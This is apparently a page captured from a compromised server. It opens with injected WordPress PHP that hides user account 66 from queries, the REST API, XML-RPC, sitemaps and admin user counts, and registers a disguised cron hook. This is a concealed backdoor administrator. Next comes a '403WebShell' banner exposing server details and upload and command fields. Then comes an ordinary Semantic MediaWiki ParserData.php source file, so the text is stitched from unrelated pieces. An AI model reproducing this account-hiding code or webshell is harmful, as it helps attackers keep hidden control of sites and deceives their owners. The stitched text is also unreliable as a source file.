add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/SemanticMediaWiki/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/SemanticMediaWiki/src//ParserData.php
<?php

namespace SMW;

use MediaWiki\Parser\ParserOptions;
use MediaWiki\Parser\ParserOutput;
use MediaWiki\Title\Title;
use Psr\Log\LoggerAwareTrait;
use SMW\Services\ServicesFactory as ApplicationFactory;
use SMWDataValue as DataValue;

/**
 * Handling semantic data exchange with a ParserOutput object
 *
 * Provides access to a semantic data container that is generated
 * either from the ParserOutput or is a newly created container
 *
 * @license GPL-2.0-or-later
 * @since 1.9
 *
 * @author mwjames
 * @author Markus Krötzsch
 */
class ParserData {

	use LoggerAwareTrait;

	/**
	 * Identifies the extension data
	 */
	const DATA_ID = 'smwdata';

	/**
	 * Identifies the cache namespace for update markers
	 */
	const CACHE_NAMESPACE = 'smw:update';

	/**
	 * Option that allows to force an update even in cases where an update
	 * marker exists
	 */
	const OPT_FORCED_UPDATE = 'smw:opt.forced.update';

	/**
	 * Option whether creation of iteratibe update jobs are allowed
	 */
	const OPT_CREATE_UPDATE_JOB = 'smw:opt.create.update.job';

	/**
	 * Indicates that an update was caused by a change propagation request
	 */
	const OPT_CHANGE_PROP_UPDATE = 'smw:opt.change.prop.update';

	/**
	 * Indicates that no #ask dependency tracking should occur
	 */
	const NO_QUERY_DEPENDENCY_TRACE = 'no.query.dependency.trace';

	/**
	 * Indicates that no #ask dependency tracking should occur
	 */
	const ANNOTATION_BLOCK = 'smw-blockannotation';

	/**
	 * @var Title
	 */
	private $title;

	/**
	 * @var ParserOutput
	 */
	private $parserOutput;

	/**
	 * @var ParserOptions
	 */
	private $parserOptions;

	/**
	 * @var SemanticData
	 */
	private $semanticData;

	/**
	 * @var array
	 */
	private $errors = [];

	/**
	 * @var
	 */
	private $canCreateUpdateJob = true;

	/**
	 * Identifies the origin of a request.
	 *
	 * @var string
	 */
	private $origin = '';

	/**
	 * @var Options
	 */
	private $options = null;

	/**
	 * @since 1.9
	 *
	 * @param Title $title
	 * @param ParserOutput $parserOutput
	 */
	public function __construct( Title $title, ParserOutput $parserOutput ) {
		$this->title = $title;
		$this->parserOutput = $parserOutput;
		$this->initSemanticData();
	}

	/**
	 * @since 2.5
	 *
	 * @param string $key
	 * @param mixed $default
	 *
	 * @return mixed
	 */
	public function getOption( $key, $default = null ) {
		if ( !$this->options instanceof Options ) {
			$this->options = new Options();
		}

		return $this->options->safeGet( $key, $default );
	}

	/**
	 * @since 2.5
	 *
	 * @param string $key
	 * @param string $value
	 */
	public function setOption( $key, $value ) {
		if ( !$this->options instanceof Options ) {
			$this->options = new Options();
		}

		$this->options->set( $key, $value );
	}

	/**
	 * @since 2.5
	 *
	 * @param string $origin
	 */
	public function setOrigin( $origin ) {
		$this->origin = $origin;
	}

	/**
	 * @since 1.9
	 *
	 * @return Title
	 */
	public function getTitle() {
		return $this->title;
	}

	/**
	 * @since 1.9
	 *
	 * @return DIWikiPage
	 */
	public function getSubject() {
		return $this->getSemanticData()->getSubject();
	}

	/**
	 * @since 1.9
	 *
	 * @return ParserOutput
	 */
	public function getOutput() {
		return $this->parserOutput;
	}

	/**
	 * @since 3.0
	 *
	 * @param ParserOptions $parserOptions
	 */
	public function setParserOptions( ParserOptions $parserOptions ) {
		$this->parserOptions = $parserOptions;
	}

	/**
	 * @since 3.0
	 *
	 * @return ParserOptions|null
	 */
	public function addExtraParserKey( $key ) {
		$keysToCache = ApplicationFactory::getInstance()->getSettings()->get( 'smwgSetParserCacheKeys' ) ?? [];

		if ( in_array( $key, $keysToCache ) ) {
			// Looks odd in 1.30 "Saved in parser cache ... idhash:19989-0!canonical!userlang!dateformat!userlang!dateformat!userlang!dateformat!userlang!dateformat and ..."
			// therefore use the ParserOutput::recordOption instead
			$this->parserOutput->recordOption( $key );
		} elseif ( $this->parserOptions !== null ) {
			$this->parserOptions->addExtraKey( $key );
		}
	}

	/**
	 * @since 2.4
	 *
	 * @return bool
	 */
	public function isBlocked() {
		return $this->hasAnnotationBlock();
	}

	/**
	 * @since 3.1
	 *
	 * @return bool
	 */
	public function hasAnnotationBlock() {
		// ParserOutput::getExtensionData returns null if no value was set for this key
		if ( $this->parserOutput->getExtensionData( self::ANNOTATION_BLOCK ) !== null &&
			$this->parserOutput->getExtensionData( self::ANNOTATION_BLOCK ) ) {
			return true;
		}

		return false;
	}

	/**
	 * @since 3.0
	 *
	 * @return bool
	 */
	public function canUse() {
		return !$this->hasAnnotationBlock();
	}

	/**
	 * Returns collected errors occurred during processing
	 *
	 * @since 1.9
	 *
	 * @return array
	 */
	public function getErrors() {
		return $this->errors;
	}

	/**
	 * @since  1.9
	 */
	public function addError( $error ) {
		$this->errors = array_merge( $this->errors, (array)$error );
	}

	/**
	 * @since 1.9
	 *
	 * @param SemanticData $semanticData
	 */
	public function setSemanticData( SemanticData $semanticData ) {
		$this->semanticData = $semanticData;
	}

	/**
	 * @deprecated since 2.0, use setSemanticData
	 */
	public function setData( SemanticData $semanticData ) {
		$this->setSemanticData( $semanticData );
	}

	/**
	 * @since 1.9
	 *
	 * @return SemanticData
	 */
	public function getSemanticData() {
		return $this->semanticData;
	}

	/**
	 * @deprecated since 2.0, use getSemanticData
	 */
	public function getData() {
		return $this->getSemanticData();
	}

	/**
	 * @since 2.1
	 */
	public function setEmptySemanticData() {
		$this->setSemanticData( new SemanticData( DIWikiPage::newFromTitle( $this->title ) ) );
	}

	/**
	 * @since 2.1
	 *
	 * @param ParserOutput|null
	 */
	public function importFromParserOutput( ?ParserOutput $parserOutput = null ) {
		if ( $parserOutput === null ) {
			return;
		}

		$semanticData = $parserOutput->getExtensionData( self::DATA_ID );

		// Only import data that is known to be different
		if ( $semanticData !== null &&
			$this->getSubject()->equals( $semanticData->getSubject() ) &&
			$semanticData->getHash() !== $this->getSemanticData()->getHash() ) {

			$this->getSemanticData()->importDataFrom( $semanticData );
		}
	}

	/**
	 * @since 3.0
	 */
	public function copyToParserOutput() {
		// Ensure that errors are reported and recorded
		$processingErrorMsgHandler = new ProcessingErrorMsgHandler(
			$this->getSubject()
		);

		foreach ( $this->errors as $error ) {
			$processingErrorMsgHandler->addToSemanticData(
				$this->semanticData,
				$processingErrorMsgHandler->newErrorContainerFromMsg( $error )
			);
		}

		$this->markParserOutput();
		$this->parserOutput->setExtensionData( self::DATA_ID, $this->semanticData );
	}

	/**
	 * @deprecated since 3.0, use copyToParserOutput
	 */
	public function pushSemanticDataToParserOutput() {
		$this->copyToParserOutput();
	}

	/**
	 * @since 3.0
	 */
	public function markParserOutput() {
		if ( ApplicationFactory::getInstance()->getSettings()->get( 'smwgSetParserCacheTimestamp' ) ) {
			$this->parserOutput->setTimestamp( wfTimestampNow() );
		}

		$this->parserOutput->setExtensionData(
			'smw-semanticdata-status',
			$this->semanticData->getProperties() !== []
		);
	}

	/**
	 * @deprecated since 3.0, use pushSemanticDataToParserOutput
	 */
	public function setSemanticDataStateToParserOutputProperty() {
		$this->markParserOutput();
	}

	/**
	 * @since 2.5
	 *
	 * @param ParserOutput $parserOutput
	 *
	 * @return bool
	 */
	public static function hasSemanticData( ParserOutput $parserOutput ) {
		return $parserOutput->getExtensionData( 'smw-semanticdata-status' ) ?? false;
	}

	/**
	 * @see SemanticData::addDataValue
	 *
	 * @since 1.9
	 *
	 * @param DataValue $dataValue
	 */
	public function addDataValue( DataValue $dataValue ) {
		$this->semanticData->addDataValue( $dataValue );
	}

	/**
	 * @private This method is not for public use
	 *
	 * @since 1.9
	 *
	 * @return bool
	 */
	public function updateStore( $opts = [] ) {
		$isDeferrableUpdate = false;

		// @legacy
		if ( $opts === true ) {
			$isDeferrableUpdate = true;
		}

		if ( isset( $opts['defer'] ) && $opts['defer'] ) {
			$isDeferrableUpdate = true;
		}

		$applicationFactory = ApplicationFactory::getInstance();

		$this->semanticData->setOption(
			Enum::OPT_SUSPEND_PURGE,
			$this->getOption( Enum::OPT_SUSPEND_PURGE )
		);

		$dataUpdater = $applicationFactory->newDataUpdater(
			$this->semanticData
		);

		$latestRevID = null;

		if (
			$this->getOption( self::OPT_FORCED_UPDATE, false ) === false &&
			$dataUpdater->isSkippable( $this->title, $latestRevID ) ) {

			$this->logger->info(
				[ 'Update', 'Skipping update', 'Found revision', '{revID}' ],
				[ 'role' => 'user', 'revID' => $latestRevID ]
			);

			return false;
		}

		$dataUpdater->canCreateUpdateJob(
			$this->getOption( self::OPT_CREATE_UPDATE_JOB, true )
		);

		$dataUpdater->isChangeProp(
			$this->getOption( self::OPT_CHANGE_PROP_UPDATE )
		);

		$dataUpdater->isDeferrableUpdate(
			$isDeferrableUpdate
		);

		$dataUpdater->setOrigin(
			$this->origin
		);

		$dataUpdater->doUpdate();

		return true;
	}

	/**
	 * @note ParserOutput::setLimitReportData
	 *
	 * @since 2.4
	 *
	 * @param string $key
	 * @param string $value
	 */
	public function addLimitReport( $key, $value ) {
		$this->parserOutput->setLimitReportData( 'smw-limitreport-' . $key, $value );
	}

	/**
	 * Setup the semantic data container either from the ParserOutput or
	 * if not available create an empty container
	 */
	private function initSemanticData() {
		$this->semanticData = $this->parserOutput->getExtensionData( self::DATA_ID );

		if ( !( $this->semanticData instanceof SemanticData ) ) {
			$this->setEmptySemanticData();
		}
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit